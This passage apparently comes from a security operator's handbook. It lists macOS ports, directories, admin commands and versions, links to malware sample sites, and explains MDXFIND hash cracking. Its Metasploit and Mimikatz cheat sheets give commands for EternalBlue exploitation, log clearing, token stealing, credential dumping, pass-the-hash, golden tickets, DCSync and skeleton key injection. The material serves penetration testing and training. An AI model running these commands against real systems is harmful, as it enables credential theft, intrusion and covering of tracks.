pop3
Mail
183
111
TCP/UDP
sunrpc
Portmap (sunrpc)
113
TCP
ident
—
119
TCP
nntp
Apps that read newsgroups.
123
UDP
ntp
network time server
synchronization
137
UDP
netbios-ns
—
138
UDP
netbios-dgm
Windows Datagram Service
139
TCP
netbios-ssn
Microsoft Windows file and
print services
143
TCP
imap
Mail (receiving email)
161
UDP
snmp
—
192
UDP
osu-nms
AirPort Base Station PPP
status or discovery,
AirPort Admin Utility,
AirPort Express Assistant
311
TCP
asip-webadmin
Server app, Server Admin,
Workgroup Manager, Server
Monitor, Xsan Admin
312
TCP
vslmp
Xsan Admin (OS X Mountain
Lion v10.8 and later)
389
TCP
ldap
Apps that look up
addresses, such as Mail and
Address Book
427
TCP/UDP
svrloc
Network Browser
443
TCP
https
TLS websites
445
TCP
microsoft-ds
—
464
TCP/UDP
kpasswd
—
465
TCP
smtp (legacy) Mail (sending mail)
500
UDP
isakmp
macOS Server VPN service
500
UDP
IKEv2
Wi-Fi Calling
514
TCP
shell
—
514
UDP
syslog
—
515
TCP
printer
Printing to a network
printer, Printer Sharing in
macOS
532
TCP
netnews
—
548
TCP
afpovertcp
AppleShare, Personal File
Sharing, Apple File Service
554
TCP/UDP
rtsp
AirPlay, QuickTime
Streaming Server (QTSS),
streaming media players
587
TCP
submission
Mail (sending mail), iCloud
Mail (SMTP authentication)
600–1023
TCP/UDP
ipcserver
NetInfo
623
UDP
asf-rmcp
Lights Out Monitoring (LOM)
625
TCP
dec_dlm
Open Directory, Server app,
Workgroup Manager;
Directory Services in OS X
Lion or earlier
184
This port is registered to
DEC DLM
626
TCP
asia
IMAP administration (Mac OS
X Server v10.2.8 or
earlier)
626
UDP
asia
Server serial number
registration (Xsan, Mac OS
X Server v10.3 – v10.6)
631
TCP
ipp
macOS Printer Sharing,
printing to many common
printers
636
TCP
ldaps
Secure LDAP
660
TCP
mac-srvr-
admin
Server administration tools
for Mac OS X Server v10.4
or earlier, including
AppleShare IP
687
TCP
asipregistry
Server administration tools
for Mac OS X Server v10.6
or earlier, including
AppleShare IP
749
TCP/UDP
kerberos-adm
Kerberos 5
985
TCP
—
NetInfo Static Port
993
TCP
imaps
iCloud Mail (SSL IMAP)
995
TCP/UDP
pop3s
Mail IMAP SSL
1085
TCP/UDP
webobjects
—
1099, 804
3
TCP
rmiregistry
Remote RMI & IIOP JBOSS
1220
TCP
qt-
serveradmin
Administration of QuickTime
Streaming Server
1640
TCP
cert-
responder
Profile Manager in macOS
Server 5.2 and earlier
1649
TCP
kermit
—
1701
UDP
l2f
macOS Server VPN service
1723
TCP
pptp
macOS Server VPN service
1900
UDP
ssdp
Bonjour
2049
TCP/UDP
nfsd
—
2195
TCP
—
Push notifications
2196
TCP
—
Feedback service
2197
TCP
—
Push notifications
2336
TCP
appleugcontro
l
Home directory
synchronization
3004
TCP
csoftragent
—
3031
TCP/UDP
eppc
Program Linking, Remote
Apple Events
3283
TCP/UDP
net-assistant
Apple Remote Desktop 2.0 or
later (Reporting
feature), Classroom
app (command channel)
3284
TCP/UDP
net-assistant
Classroom app (document
sharing)
185
3306
TCP
mysql
—
3478–3497
UDP
nat-stun-port
-
ipether232por
t
FaceTime, Game Center
3632
TCP
distcc
—
3659
TCP/UDP
apple-sasl
macOS Server Password
Server
3689
TCP
daap
iTunes Music Sharing,
AirPlay
3690
TCP/UDP
svn
Xcode Server (anonymous
remote SVN)
4111
TCP
xgrid
—
4398
UDP
—
Game Center
4488
TCP
awacs-ice
4500
UDP
ipsec-msft
macOS Server VPN service
4500
UDP
IKEv2
Wi-Fi Calling
5003
TCP
fmpro-
internal
—
5009
TCP
winfs
AirPort Utility, AirPort
Express Assistant
5100
TCP
socalia
macOS camera and scanner
sharing
5222
TCP
jabber-client Jabber messages
5223
TCP
—
iCloud DAV Services, Push
Notifications, FaceTime,
iMessage, Game Center,
Photo Stream
5228
TCP
—
Spotlight Suggestions, Siri
5297
TCP
—
Messages (local traffic)
5350
UDP
—
Bonjour
5351
UDP
nat-pmp
Bonjour
5353
UDP
mdns
Bonjour, AirPlay, Home
Sharing, Printer Discovery
5432
TCP
postgresql
Can be enabled manually in
OS X Lion Server
(previously enabled by
default for ARD 2.0
Database)
5897–5898
UDP
—
xrdiags
5900
TCP
vnc-server
Apple Remote Desktop 2.0 or
later (Observe/Control
feature)
Screen Sharing (Mac OS X
10.5 or later)
5988
TCP
wbem-http
Apple Remote Desktop 2.x
See
also dmtf.org/standards/wbe
m.
6970–9999
UDP
—
QuickTime Streaming Server
186
7070
TCP
arcp
QuickTime Streaming Server
(RTSP)
7070
UDP
arcp
QuickTime Streaming Server
8000–8999
TCP
irdmi
Web service, iTunes Radio
streams
8005
TCP
—
—
8008
TCP
http-alt
Mac OS X Server v10.5 or
later
8080
TCP
http-alt
Also JBOSS HTTP in Mac OS X
Server 10.4 or earlier
8085–8087
TCP
—
Mac OS X Server v10.5 or
later
8088
TCP
radan-http
Mac OS X Server v10.4 or
later
8089
TCP
—
Mac OS X Server v10.6 or
later
8096
TCP
—
Mac OS X Server v10.6.3 or
later
8170
TCP
—
Podcast Capture/podcast CLI
8171
TCP
—
Podcast Capture/podcast CLI
8175
TCP
—
pcastagentd (such as for
control operations and
camera)
8443
TCP
pcsync-https
Mac OS X Server v10.5 or
later (JBOSS HTTPS in Mac
OS X Server 10.4 or
earlier)
8800
TCP
sunwebadmin
Mac OS X Server v10.6 or
later
8843
TCP
—
Mac OS X Server v10.6 or
later
8821, 882
6
TCP
—
Final Cut Server
8891
TCP
—
Final Cut Server (data
transfers)
9006
TCP
—
Mac OS X Server v10.6 or
earlier
9100
TCP
—
Printing to certain network
printers
9418
TCP/UDP
git
Xcode Server (remote git)
10548
TCP
serverdocs
macOS Server iOS file
sharing
11211
—
—
Calendar Server
16080
TCP
—
Web service with
performance cache
16384–
16403
UDP
—
Messages (Audio RTP, RTCP;
Video RTP, RTCP)
16384–
16387
UDP
—
FaceTime, Game Center
187
16393–
16402
UDP
—
FaceTime, Game Center
16403–
16472
UDP
—
Game Center
24000–
24999
TCP
med-ltp
Web service with
performance cache
42000–
42999
TCP
—
iTunes Radio streams
49152–
65535
TCP
—
Xsan Filesystem Access
49152–
65535
UDP
—
50003
—
—
—
50006
—
—
—
REFERENCE:
https://support.apple.com/en-us/HT202944
M
M
MACOS_Structure
ALL
INFORMATIONAL
MacOS
DIRECTORY
DESCRIPTION
/
Root directory, present on
virtually all UNIX based file
systems. Parent directory of all
other files
.DS_Store
This file Desktop Service Store
contains Finder settings, such as
icon location, position of icons,
choice of a background image,
window size and the names of all
files (and also directories) in
that folder. The file will appear
in any directory that you’ve
viewed with the Finder and and
has functions similar to the file
desktop.ini in MicrosoftWindows.
.DocumentRevisions-V100/
DocumentRevisions-V100 is an
internal version control system
introduced by Apple in OSX Lion.
Large database that saves a copy
of a file each, track changes,
revert, each every time you save
it. Apple uses it for TextEdit,
KeyNote, Pages, Numbers, and some
other programs. Developers can
188
also interact with this API in
their apps.
.fseventsd/
File system events daemon process
that writes file system event log
files and is responsible for
handling changes to the file
system. Directory acts as a
staging or buffer area for
notifications for userspace
process.
.HFS+ Private Directory
Data?/
.HFS+ Private Directory Data\r
and HFS+ Private Data are special
folders used by the HFS+
filesystem to handle hard-linked
folders and files, respectively.
HFS+ doesn’t support hard links
and UNIX, upon which macOS is
based, requires them. So
developer macOS simulated hard
links; any file that has more
than one link is moved into one
of these invisible directories as
an inode; the actual hard links
are just aliases to the inode
file with a special flag set in
its metadata.
.PKInstallSandboxManager/
Used for software updates and the
Sandbox
.PKInstallSandboxManager-
SystemSoftware/
Used for system software updates
.Spotlight-V100/
Spotlight index data for searches
.Trashes/
Trash folder, stored individually
on each mounted volume, contains
files that have been placed in
Trash. On a boot volume, such
files are stored in ~/.Trash . On
a non-boot volume, these files
are in /.Trashes/$UID/
.vol/
A pseudo-directory used to access
files by their ID or inode
number, maps HFS+ file IDs to
files. If you know a file’s ID,
you can open it using /.vol/ID
/Applications/
Contains all Mac OS X
applications
/bin/
Essential common binaries and
files/programs needed to boot the
operating system.
/cores/
Symbolic link to /private/cores .
If core dumps are enabled they
189
are created in this directory as
core.pid
/dev/
Files that represent various
peripheral devices including
keyboards, mice, trackpads
/etc/->private/etc/
Symbolic link to /private/etc and
contains machine local system
configuration, holds
administrative, configuration,
and other system files.
/home/
All User files stored: documents,
music,movies, pictures,
downloads, etc… Every User has a
home directory.
/Library/
Shared libraries, settings,
preferences, and other
necessities [An additional
Libraries folder in your home
directory, which holds files
specific to that user].
/net/
Common default automounter local
path is of the form
/net/hostname/nfspath where
hostname is the host name of the
remote machine and nfspath is the
path that is exported over NFS on
the remote machine.
/Network/
Location to attach network-wide
resources and server volumes. OS
X 10.1, network resources are
mounted in /private/Network with
symbolic links. OS 10.3, various
network resources (mainly
servers) appear dynamically in
/Network
/opt/
Optional installations such as
X11
/private/
On typical Unix system tmp, var,
etc, and cores directories would
be located.
/sbin/
Contains executables for system
administration and configuration
/System/
Contains system related files,
libraries, preferences, critical
for the proper function of Mac OS
X
/tmp/
Symbolic link to /private/tmp and
holds temporary files and caches,
which can be written by any user.
190
/User Information/ ->
/Library/Documentation/User
Information.localized
PDF Manuals
/Users/
All user accounts on the machine
and their accompanying unique
files, settings, etc.
/usr/
Contains BSD Unix applications
and support files. Includes
subdirectories that contain
information, configuration files,
and other essentials used by the
operating system
/var/
Symbolic link to /private/var and
contains miscellaneous data,
configuration files and
frequently modified files, such
as log files.
/vm/
Used to store the swap files for
Mac OS X’s virtual memory &
contents of RAM for sleep
operations.
/Volumes/
Mounted devices and volumes,
either virtual or real. Hard
disks, CD’s, DVD’s, DMG mounts
and the boot volume
REFERENCE:
https://community.malforensics.com/t/root-directory-structure-in-mac/172
https://coderwall.com/p/owb6eg/view-folder-tree-in-macosx-terminal
M
M
MACOS_Tricks
ALL
MISC
MacOS
Generate Secure Password & Copy to Clipboard
LC_ALL=C tr -dc "[:alnum:]" < /dev/urandom | head -c 20 | pbcopy
Show External IP Address
Method #1
dig +short myip.opendns.com @resolver1.opendns.com
Method #2
curl -s https://api.ipify.org && echo
Eject All Mountable Volumes
osascript -e 'tell application "Finder" to eject (every disk whose
ejectable is true)'
191
Set Login Window Text
sudo defaults write /Library/Preferences/com.apple.loginwindow
LoginwindowText "Your text"
Preview via QuickLook
qlmanage -p /path/to/file
Search via Spotlight
mdfind -name 'searchterm'
Show Spotlight Indexed Metadata
mdls /path/to/file
Speak Text with System Default Voice
say 'All your base are belong to us!'
Prevent sleep for 1 hour:
caffeinate -u -t 3600
Generate UUID to Clipboard
uuidgen | tr -d '\n' | tr '[:upper:]' '[:lower:]' | pbcopy
Open Applications
open -a "Google Chrome" https://github.com
MacOS Performance Monitoring with Powermetrics
powermetrics -a 0 -i 15000 -s tasks --show-process-io --show-
process-energy -u /tmp/powermetrics.log
# -a 0 Don't display summary line
# -i 15000 Collect data every 15 seconds
# -s tasks Focus on per-process information
# --show-process-io Add disk i/o and pageins to results
# --show-process-energy Show energy impact scores
# -u /tmp/powermetrics.log Output to file location
**Splunk regex for parsing powermetrics logs
index="your_index_here" sourcetype=generic_single_line
| rex field="_raw" "(?P<process_name>^[\w \(\)\-
\.]+)(\b|\))\s{3,}(?P<pid>[\d]+)\s+(?P<cpu_ms_s>[\d\.]+)\s+(?P<perc
ent_cpu_user>[\d\.]+)\s+(?P<deadlines_lt_2ms>[\d\.]+)\s+(?P<deadlin
es_2_to_5ms>[\d\.]+)\s+(?P<wakeups>[\d\.]+)\s+(?P<intr_pkg_idle>[\d
\.]+)\s+(?P<bytes_read>[\d\.]+)\s+(?P<bytes_written>[\d\.]+)\s+(?P<
pageins>[\d\.]+)\s+(?P<energy_impact>[\d\.]+)"
macOS CONFIGURATION
Join a Wi-Fi Network
networksetup -setairportnetwork en0 WIFI_SSID WIFI_PASSWORD
192
Turn WIFI Adapter On
networksetup -setairportpower en0 on
Firewall Service
# Show Status
sudo /usr/libexec/ApplicationFirewall/socketfilterfw --
getglobalstate
# Enable
sudo /usr/libexec/ApplicationFirewall/socketfilterfw --
setglobalstate on
# Disable (Default)
sudo /usr/libexec/ApplicationFirewall/socketfilterfw --
setglobalstate off
Remote Apple Events
# Status
sudo systemsetup -getremoteappleevents
# Enable
sudo systemsetup -setremoteappleevents on
# Disable (Default)
sudo systemsetup -setremoteappleevents off
AirDrop
# Enable AirDrop over Ethernet and on Unsupported Macs
defaults write com.apple.NetworkBrowser BrowseAllInterfaces -bool
true
# Enable (Default)
defaults remove com.apple.NetworkBrowser DisableAirDrop
# Disable
defaults write com.apple.NetworkBrowser DisableAirDrop -bool YES
Force Launch Screen Saver
# Up to Sierra
open
/System/Library/Frameworks/ScreenSaver.framework/Versions/A/Resourc
es/ScreenSaverEngine.app
# From High Sierra
/System/Library/CoreServices/ScreenSaverEngine.app/Contents/MacOS/S
creenSaverEngine
Start Native TFTP Daemon
#Files will be served from /private/tftpboot.
sudo launchctl load -F /System/Library/LaunchDaemons/tftp.plist &&
\
sudo launchctl start com.apple.tftpd
193
Activate/Deactivate the ARD Agent and Helper
# Activate And Restart the ARD Agent and Helper
sudo
/System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents
/Resources/kickstart -activate -restart -agent -console
# Deactivate and Stop the Remote Management Service
sudo
/System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents
/Resources/kickstart -deactivate -stop
Enable/Disable Remote Desktop Sharing
# Allow Access for All Users and Give All Users Full Access
sudo
/System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents
/Resources/kickstart -configure -allowAccessFor -allUsers -privs -
all
# Disable ARD Agent and Remove Access Privileges for All Users
sudo
/System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents
/Resources/kickstart -deactivate -configure -access -off
Remove Apple Remote Desktop Settings
sudo rm -rf /var/db/RemoteManagement ; \
sudo defaults delete
/Library/Preferences/com.apple.RemoteDesktop.plist ; \
defaults delete
~/Library/Preferences/com.apple.RemoteDesktop.plist ; \
sudo rm -r /Library/Application\ Support/Apple/Remote\ Desktop/ ; \
rm -r ~/Library/Application\ Support/Remote\ Desktop/ ; \
rm -r ~/Library/Containers/com.apple.RemoteDesktop
REFERENCE:
https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-
with-a-Mac/
https://github.com/herrbischoff/awesome-macos-command-line
https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0
https://www.cmdsec.com/macos-performance-monitoring-collection/
M
M
MACOS_Versions
ALL
INFORMATIONAL
MacOS
Version
Date
Darwin
Latest
Rhapsody Developer
31-Aug-97
DR2
OS X Server 1.0
16-Mar-99
1.2v3
OS X Developer
16-Mar-99
DP4
OS X Beta Kodiak
13-Sep-00 1.2.1
194
OS X 10.0 Cheetah
24-Mar-01 1.3.1
10.0.4
OS X 10.1 Puma
25-Sep-01 1.4.1 /5 10.1.5
OS X 10.2 Jaguar
24-Aug-02 6
10.2.8
OS X 10.3 Panther
24-Oct-03 7
10.3.9
OS X 10.4 Tiger
29-Apr-05 8
10.4.11
OS X 10.5 Leopard
26-Oct-07 9
10.5.8
OSX 10.6 Snow Leopard
09-Jun-08 10
10.6.8 v1.1
OS X 10.7 Lion
20-Jul-11 11
10.7.5
OS X 10.8 Mountain Lion 25-Jul-12
12
10.8.5
OS X 10.9 Mavericks
22-Oct-13 13
10.9.5
OS X 10.10 Yosemite
16-Oct-14 14
10.10.5
OS X 10.11 El Capitan
30-Sep-15 15
10.11.6
macOS 10.12 Sierra
20-Sep-16 16
10.12.6
macOS 10.13 High Sierra 25-Sep-17 17
10.13.6
macOS 10.14 Mojave
24-Sep-18 18
10.14.6
macOS 10.15 Catalina
7-Oct-19
19
10.15.2
REFERENCE:
https://en.wikipedia.org/wiki/MacOS
M
M
MALWARE_Resources
BLUE TEAM
REVERSE ENG
ALL
MALWARE REPOSITORIES
Clean MX
Realtime database of malware and malicious domains.
http://support.clean-mx.de/clean-mx/viruses.php
Contagio
A collection of recent malware samples and analyses.
http://contagiodump.blogspot.com/
Exploit Database
Exploit and shellcode samples.
https://www.exploit-db.com/
Infosec - CERT-PA
Malware samples collection and analysis.
https://infosec.cert-pa.it/analyze/submission.html
InQuest Labs
Evergrowing searchable corpus of malicious Microsoft documents.
https://labs.inquest.net/
Malpedia
195
A resource providing rapid identification and actionable context
for malware investigations.
https://malpedia.caad.fkie.fraunhofer.de/
Malshare
Large repository of malware actively scrapped from malicious sites.
https://malshare.com/
Objective-See
MacOS malware samples
https://objective-see.com/malware.html
Tracker h3x
Aggregator for malware corpus tracker and malicious download sites.
http://tracker.h3x.eu/
VirusBay
Community-Based malware repository and social network.
https://virusbay.io
VirusShare
Malware repository, registration required.
https://virusshare.com/
Zeltser's Sources
A list of malware sample sources put together by Lenny Zeltser.
https://zeltser.com/malware-sample-sources/
VX-UNDERGROUND
Polyswarm supported malware samples free for all.
https://vx-underground.org/
theZOO
A repository of LIVE malwares for your own joy and pleasure. theZoo
is a project created to make the possibility of malware analysis
open and available to the public. https://thezoo.morirt.com
https://github.com/ytisf/theZoo/tree/master/malwares/Binaries
AlphaSecLab
Malware writeups on samples
https://github.com/alphaSeclab/awesome-rat
COMMAMD & CONTROL RESEARCH
C2 Matrix
It is the golden age of Command and Control (C2) frameworks. The
goal of this site is to point you to the best C2 framework for your
needs based on your adversary emulation plan and the target
environment. Take a look at the matrix or use the questionnaire to
determine which fits your needs.
https://www.thec2matrix.com/
196
REFERENCE:
https://github.com/rshipp/awesome-malware-analysis
M
M
MDXFIND / MDXSPLIT
RED TEAM
PASSWORD CRACKING
ALL
MDXFIND is a program which allows you to run large numbers of
unsolved hashes of any type, using many algorithms concurrently,
against a large number of plaintext words and rules, very quickly.
It’s main purpose was to deal with large lists (20 million, 50
million, etc) of unsolved hashes and run them against new
dictionaries as you acquire them.
So when would you use MDXFIND on a pentest? If you dump a database
tied to website authentication and the hashes are not cracking by
standard attack plans. The hashes may be generated in a unique
nested hashing series. If you are able to view the source code of
said website to view the custom hashing function you can direct
MDXFIND to replicate that hashing series. If not, you can still run
MDXFIND using some of the below ‘Generic Attack Plans’. MDXFIND is
tailored toward intermediate to expert level password cracking but
is extremely powerful and flexible.
Example website SHA1 custom hashing function performing multiple
iterations:
$hash = sha1($password . $salt);
for ($i = 1; $i <= 65000; ++$i)
{
$hash = sha1($hash . $salt);
}
MDXFIND
COMMAND STRUCTURE THREE METHODS 1-STDOUT 2-STDIN 3-File
1- Reads hashes coming from cat (or other) commands stdout.
cat hash.txt | mdxfind -h <regex #type> -i <#iterations> dict.txt >
out.txt
2- Takes stdin from outside attack sources in place of dict.txt
when using the options variable ‘-f’ to specify hash.txt file
location and variable ‘stdin’.
mp64.bin ?d?d?d?d?d?d | mdxfind -h <regex #type> -i <#iterations> -
f hash.txt stdin > out.txt
197
3- Specify file location ‘-f’ with no external stdout/stdin
sources.
mdxfind -h <regex #type> -i <#iterations> -f hash.txt dict.txt >
out.txt
[FULL LIST OF OPTIONS]
-a
Do email address munging
-b
Expand each word into unicode, best effort
-c
Replace each special char (<>&, etc) with XML equivalents
-d
De-duplicate wordlists, best effort...but best to do ahead
of time
-e
Extended search for truncated hashes
-p
Print source (filename) of found plain-texts
-q
Internal iteration counts for SHA1MD5x, and others. For
example, if you
have a hash that is
SHA1(MD5(MD5(MD5(MD5($pass)))))), you would set -q
to 5.
-g
Rotate calculated hashes to attempt match to input hash
-s
File to read salts from
-u
File to read Userid/Usernames from
-k
File to read suffixes from
-n
Number of digits to append to passwords. Other options,
like: -n 6x
would append 6 digit hex values, and 8i would append
all ipv4 dotted-
quad IP-addresses.
-i
The number of iterations for each hash
-t
The number of threads to run
-f
file to read hashes from, else stdin
-l
Append CR/LF/CRLF and print in hex
-r
File to read rules from
-v
Do not mark salts as found.
-w
Number of lines to skip from first wordlist
-y
Enable directory recursion for wordlists
-z
Enable debugging information/hash results
-h
The hash types: 459 TOTAL HASHES SUPPORTED
GENERIC ATTACK PLANS
This is a good general purpose MDXFIND command to run your hashes
against if you suspect them to be “non-standard” nested hashing
sequences. This command says “Run all hashes against dict.txt using
10 iterations except ones having a salt, user, or md5x value in the
name.” It’s smart to skip salted/user hash types in MDXFIND unless
you are confident a salt value has been used.
cat hash.txt | mdxfind -h ALL -h ‘!salt,!user,!md5x’ -i 10 dict.txt
> out.txt
The developer of MDXFIND also recommends running the below command
options as a good general purpose attack:
cat hash.txt | mdxfind -h ‘^md5$,^sha1$,^md5md5pass$,^md5sha1$’ -i
5 dict.txt > out.txt
198
And you could add a rule attack as well:
cat hash.txt | mdxfind -h ‘^md5$,^sha1$,^md5md5pass$,^md5sha1$’ -i
5 dict.txt -r best64.rule > out.txt
GENERAL NOTES ABOUT MDXFIND
-Can do multiple hash types/files all during a single attack run.
cat sha1/*.txt sha256/*.txt md5/*.txt salted/*.txt | mdxfind
-Supports 459 different hash types/sequences
-Can take input from special ‘stdin’ mode
-Supports VERY large hashlists (100mil) and 10kb character
passwords
-Supports using hashcat rule files to integrate with dictionary
-Option ‘-z’ outputs ALL viable hashing solutions and file can grow
very large
-Supports including/excluding hash types by using simple regex
parameters
-Supports multiple iterations (up to 4 billion times) by tweaking -
i parameter for instance:
MD5x01 is the same as md5($Pass)
MD5x02 is the same as md5(md5($pass))
MD5x03 is the same as md5(md5(md5($pass)))
...
MD5x10 is the same as
md5(md5(md5(md5(md5(md5(md5(md5(md5(md5($pass))))))))))
-Separate out -usernames -email -ids -salts to create custom
attacks
-If you are doing brute-force attacks, then hashcat is probably
better route
-When MDXfind finds any solution, it outputs the kind of solution
found, followed by the hash, followed by the salt and/or password.
For example:
Solution HASH:PASSWORD
MD5x01 000012273bc5cab48bf3852658b259ef:1EbOTBK3
MD5x05 033b111073e5f64ee59f0be9d6b8a561:08061999
MD5x09 aadb9d1b23729a3e403d7fc62d507df7:1140
MD5x09 326d921d591162eed302ee25a09450ca:1761974
MDSPLIT
When cracking large lists of hashes from multiple file locations,
MDSPLIT will help match which files the cracked hashes were found
in, while also outputing them into separate files based on hash
type. Additionally it will remove the found hashes from the
original hash file.
COMMAND STRUCTURE THREE METHODS 1-STDOUT 2-STDIN 3-File
1- Matching MDXFIND results files with their original hash_orig.txt
files.
199
cat hashes_out/out_results.txt | mdsplit hashes_orig/hash_orig.txt
OR perform matching against a directory of original hashes and
their results.
cat hashes_out/* | mdsplit hashes_orig/*
2- Piping MDXFIND directly into MDSPLIT to sort in real-time
results.
cat *.txt | mdxfind -h ALL -h ‘!salt,!user,!md5x’ -i 10 dict.txt |
mdsplit *.txt
3- Specifying a file location in MDXFIND to match results in real-
time.
mdxfind -h ALL -f hashes.txt -i 10 dict.txt | mdsplit hashes.txt
GENERAL NOTES ABOUT MDSPLIT
-MDSPLIT will append the final hash solution to the end of the new
filename. For example, if we submitted a ‘hashes.txt’ and the
solution to the hashes was “MD5x01” then the results file would be
‘hashes.MD5x01’. If multiple hash solutions are found then MDSPLIT
knows how to deal with this, and will then remove each of the
solutions from hashes.txt, and place them into ‘hashes.MD5x01’,
‘hashes.MD5x02’, ‘hashes.SHA1’... and so on.
-MDSPLIT can handle sorting multiple hash files, types, and their
results all at one time. Any solutions will be automatically
removed from all of the source files by MDSPLIT, and tabulated into
the correct solved files. For example:
cat dir1/*.txt dir2/*.txt dir3/*.txt | mdxfind -h
‘^md5$,^sha1$,^sha256$’ -i 10 dict.txt | mdsplit dir1/*.txt
dir2/*.txt dir3/*.txt
REFERENCE:
https://hashes.org/mdxfind.php
M
M
METASPLOIT
RED TEAM
C2
WINDOWS/LINUX/MacOS
Metasploit is the world’s most used penetration testing framework.
GENERAL INFO
msfconsole
Launch program
version
Display current version
msfupdate
Pull the weekly update
makerc <FILE.rc>
Saves recent commands to file
msfconsole -r <FILE.rc>
Loads a resource file
200
EXPLOIT/SCAN/MODULE
use <MODULE>
Set the exploit to use
set payload <PAYLOAD>
Set the payload
show options
Show all options
set <OPTION> <SETTING>
Set a setting
exploit or run
Execute the exploit
SESSION HANDLING
sessions -l
List all sessions
sessions -i <ID>
Interact/attach to session
background or ^Z
Detach from session
DATABASE
service postgresql Start
Start DB
msfdb Init
Init the DB
db_status
Should say connected
hosts
Show hosts in DB
services
Show ports in DB
vulns
Show all vulns found
METERPRETER SESSION CMDS
sysinfo
Show system info
ps
Show running processes
kill <PID>
Terminate a process
getuid
Show your user ID
upload / download
Upload / download a file
pwd / lpwd
Print working directory (local /
remote)
cd / lcd
Change directory (local / remote)
cat
Show contents of a file
edit <FILE>
Edit a file (vim)
shell
Drop into a shell on the target
machine
migrate <PID>
Switch to another process
hashdump
Show all pw hashes (Windows only)
idletime
Display idle time of user
screenshot
Take a screenshot
clearev
Clear the logs
METERPRETER PRIV ESCALATION
use priv
Load the script; Use privileges
getsystem
Elevate your privs
getprivs
Elevate your privs
METERPRETER TOKEN STEALING
use incognito
Load the script
list_tokens -u
Show all tokens
impersonate_token
DOMAIN\USER Use token
drop_token
Stop using token
METERPRETER NETWORK PIVOT
portfwd [ADD/DELETE] -L
<LHOST> -l 3388 -r <RHOST> -p
3389
Enable port forwarding
route add <SUBNET> <MASK>
Pivot through a session by adding
a route within msf
201
route add 192.168.0.0/24
Pivot through a session by adding
a route within msf
route add 192.168.0.0/24 -d
Deleting a route within msf
SEARCH
EXPLOITS/PAYLOADS/MODULES
search <TERM>
Searches all exploits, payloads,
and auxiliary modules
show exploits
Show all exploits
show payloads
Show all payloads
show auxiliary
Show all auxiliary modules (like
scanners)
show all
*
POPULAR MODULES/EXPLOITS
use
auxiliary/scanner/smb/smb_enu
mshares
SMB Share Enumeration
use
auxiliary/scanner/smb/smb_ms1
7_010
MS17-010 SMB RCE Detection
use
exploit/windows/smb/ms17_010_
eternalblue
MS17-010 EternalBlue SMB Remote
Windows Kernel Pool Corruption
use
exploit/windows/smb/ms17_010_
psexec
MS17-010
EternalRomance/EternalSynergy/Ete
rnalChampion SMB Remote Windows
Code Execution
use
exploit/windows/smb/ms08_067_
netapi
MS08-067 Microsoft Server Service
Relative Path Stack Corruption
use
exploit/windows/smb/psexec
Microsoft Windows Authenticated
User Code Execution
use exploit/multi/ssh/sshexec
SSH User Code Execution (good for
using meterpreter)
use
post/windows/gather/arp_scann
er
Windows Gather ARP Scanner
use
post/windows/gather/enum_appl
ications
Windows Gather Installed
Application Enumeration
run getgui -e
Enables RDP for Windows in
meterpreter session
REFERENCE:
https://www.tunnelsup.com/metasploit-cheat-sheet/
https://www.offensive-security.com/metasploit-unleashed/
https://nitesculucian.github.io/2018/12/01/metasploit-cheat-sheet/
https://medium.com/@nikosch86/how-to-metasploit-behind-a-nat-or-pivoting-
and-reverse-tunneling-with-meterpreter-1e747e7fa901
202
M
M
MIMIKATZ
RED TEAM
ESCALATE PRIV
WINDOWS
Mimikatz is a leading post-exploitation tool that dumps passwords
from memory, as well as hashes, PINs and Kerberos tickets.
QUICK USAGE
log
privilege::debug
SEKURLSA
sekurlsa::logonpasswords
sekurlsa::tickets /export
sekurlsa::pth /user:Administrator /domain:winxp
/ntlm:f193d757b4d487ab7e5a3743f038f713 /run:cmd
KERBEROS
kerberos::list /export
kerberos::ptt c:\chocolate.kirbi
kerberos::golden /admin:administrator /domain:chocolate.local
/sid:S-1-5-21-130452501-2365100805-3685010670
/krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:chocolate.kirbi
CRYPTO
crypto::capi
crypto::cng
crypto::certificates /export
crypto::certificates /export
/systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE
crypto::keys /export
crypto::keys /machine /export
VAULT / LSADUMP
vault::cred
vault::list
token::elevate
vault::cred
vault::list
lsadump::sam
lsadump::secrets
lsadump::cache
token::revert
203
lsadump::dcsync /user:domain\krbtgt /domain:lab.local
COMMAND
DESCRIPTION
CRYPTO::Certificates
list/export certificates
CRYPTO::Certificates
list/export certificates
KERBEROS::Golden
create golden/silver/trust tickets
KERBEROS::List
list all user tickets (TGT and TGS) in
user memory. No special privileges
required since it only displays the
current user’s tickets.Similar to
functionality of “klist”.
KERBEROS::PTT
pass the ticket. Typically used to
inject a stolen or forged Kerberos
ticket (golden/silver/trust).
LSADUMP::DCSync
ask a DC to synchronize an object (get
password data for account). No need to
run code on DC.
LSADUMP::LSA
Ask LSA Server to retrieve SAM/AD
enterprise (normal, patch on the fly
or inject). Use to dump all Active
Directory domain credentials from a
Domain Controller or lsass.dmp dump
file. Also used to get specific
account credential such as krbtgt with
the parameter /name: “/name:krbtgt”
LSADUMP::SAM
get the SysKey to decrypt SAM entries
(from registry or hive). The SAM
option connects to the local Security
Account Manager (SAM) database and
dumps credentials for local accounts.
This is used to dump all local
credentials on a Windows computer.
LSADUMP::Trust
Ask LSA Server to retrieve Trust Auth
Information (normal or patch on the
fly). Dumps trust keys (passwords) for
all associated trusts (domain/forest).
MISC::AddSid
Add to SIDHistory to user account. The
first value is the target account and
the second value is the account/group
name(s) (or SID). Moved to SID:modify
as of May 6th, 2016.
MISC::MemSSP
Inject a malicious Windows SSP to log
locally authenticated credentials.
MISC::Skeleton
Inject Skeleton Key into LSASS process
on Domain Controller. This enables all
user authentication to the Skeleton
Key patched DC to use a “master
password” (aka Skeleton Keys) as well
as their usual password.
204
PRIVILEGE::Debug
get debug rights (this or Local System
rights is required for many Mimikatz
commands).
SEKURLSA::Ekeys
list Kerberos encryption keys
SEKURLSA::Kerberos
List Kerberos credentials for all
authenticated users (including
services and computer account)
SEKURLSA::Krbtgt
get Domain Kerberos service account
(KRBTGT)password data
SEKURLSA::LogonPasswords
lists all available provider
credentials. This usually shows
recently logged on user and computer
credentials.
SEKURLSA::Pth
Pass- theHash and Over-Pass-the-Hash
SEKURLSA::Tickets
Lists all available Kerberos tickets
for all recently authenticated users,
including services running under the
